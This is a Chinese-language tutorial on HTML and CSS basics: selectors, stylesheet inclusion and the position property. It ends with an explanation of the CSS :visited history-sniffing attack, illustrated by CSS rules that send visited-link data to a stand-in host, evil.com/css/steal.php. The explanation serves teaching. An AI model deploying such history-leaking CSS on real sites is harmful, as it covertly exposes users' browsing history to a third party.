HTML&CSS
1.HTML
HTML 表单用于收集不同类型的用户输入。表单是一个包含表单元素的区域，表单元素时允许用户在表单中（比如：文本域、下拉列表、单选框、复选框等等）输入信息的元素。表单使用表单标签<form>定义。
HTML负责网页的具体内容（结构），而CSS则修饰网页的表现形式（布局）。
2.CSS
2.1 CSS基本模型
selector {property : value;}
selector : 选择器：表明花括号中的属性设置将应用于哪些HTML元素（例如body）
property：例如用于设置背景色的属性background-color等等
value：值，例如设置background-color 属性的值可以是#FF0000（代表红色）
举个例子：
h1 {color:red; font-size:14px;} //设置标题h1颜色为红色，字体大小为14个像素
2.2 id选择器
id选择器可以为标有特定id的HTML元素制定特定的样式，id选择器以“#”来定义。
下面的两个id选择器，第一个定义元素的颜色为红色，第二个定义元素的颜色为绿色：
#red {color:red;}
#green {color:green;}
下面的HTML代码中，id属性为red的p元素显示为红色，而id属性为green的p元素为绿色。
<p id="red">这个段落是红色</p>
<p id="green">这个段落是绿色</p>
2.3 样式表
当读到一个样式表时，浏览器会根据它来格式化HTML文档。插入样式表的方法有三种：
- 外部样式表
当样式需要应用很多页面时，外部样式表将是理想的选择。在使用外部样式表的情况下，可以通过改变一个文件来改变整个站点的外观。每个网页使用<link> 链接到样式表。<link> 标签链接到样式表。 <link> 标签在（文档的）头部：
<head>
<link rel="stylesheet" type="text/css" href="mystyle.css" />
</head>- 内部样式表
当单个文档需要特殊的样式时，就应该使用内部样式表。可以使用<style> 标签在文档头部定义内部样式表：
<head>
<style type="text/css">
hr {color: sienna;}
p {margin-left: 20px;}
body {background-image: url("images/back40.gif");}
</style>
</head>- 内联样式
由于要将表现和内容混杂在一起，内联样式会损失样式表的许多优势。毕竟我们设计CSS的初衷是想把表现和内容分开处理，所以对这种样式，请慎用。
要使用内联样式，需要在相关的标签内使用样式（style）属性。Style属性可以包含任何CSS属性。下面举的例子展示如何改变段落的颜色和左边外距：
<p style="color: sienna; margin-left: 20px">
This is a paragraph
</p>2.4 CSS position属性
通过使用position属性，我们可以选择4中不同类型的定位，这会影响元素框生成的方式。
position属性值的含义：
static
元素框正常生成，块级元素生成一个矩形框，作为文档流的一部分，行内元素则会创建一个或多个行框，置于其父元素中。relative
元素框偏移某个距离，元素仍保持其未定位前的形状，它原本所占的空间仍保留。absolute
元素框从文档流完全删除，并相对于其包含块定位。包含块可能是文档中的另一个元素或者是初始包含块。元素原来在正常文档流中所占的空间会关闭，就好像元素原来不存在一样。元素定位后生成一个块级框，而不论原来它在正常流中生成何种类型的框。fixed
元素框的表现类似于将position设置为absolute，不过其包含块是视窗本身。
2.5 CSS history攻击
可通过CSS:visited 来检测用户访问过的历史，这本身并不危险。但如果调用JS函数getComputedStyle()结合的话，攻击者就能够彻底查看用户的所有访问记录，而这些历史记录如果保存较长时间的话，几乎能够完全反映用户的访问习惯。
CSS history攻击举例：
曾经出现比较久的CSS History攻击利用的就是:visited伪类技巧进行的，原理很简单，就是准备一批常用的链接，然后批量生成如下形式：
<a href="http://www.baidu.com/" id="a1"> http://www.baidu.com/ </a> <br/>
<a href="http://www.17173.com/" id="a2"> http://www.17173.com/</a><br/>
<a href="http://www.qq.com/" id="a3"> http://www.qq.com/</a><br/>并针对id设置对应的:visited样式，语句如下：
#a1:visited {background: url(http://www.evil.com/css/steal.php?data=a1);}
#a2:visited {background: url(http://www.evil.com/css/steal.php?data=a2);}
#a3:visited {background: url(http://www.evil.com/css/steal.php?data=a3);}如果其中的链接之前访问过（也就是存在历史记录中），那么:visited就会触发，随后会发送一个唯一的请求到目标地址，这样就可以知道被攻击者的历史记录是否存在这个链接，从而攻击者就可以通过这种方式来获取受害者的历史记录的信息。
531
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
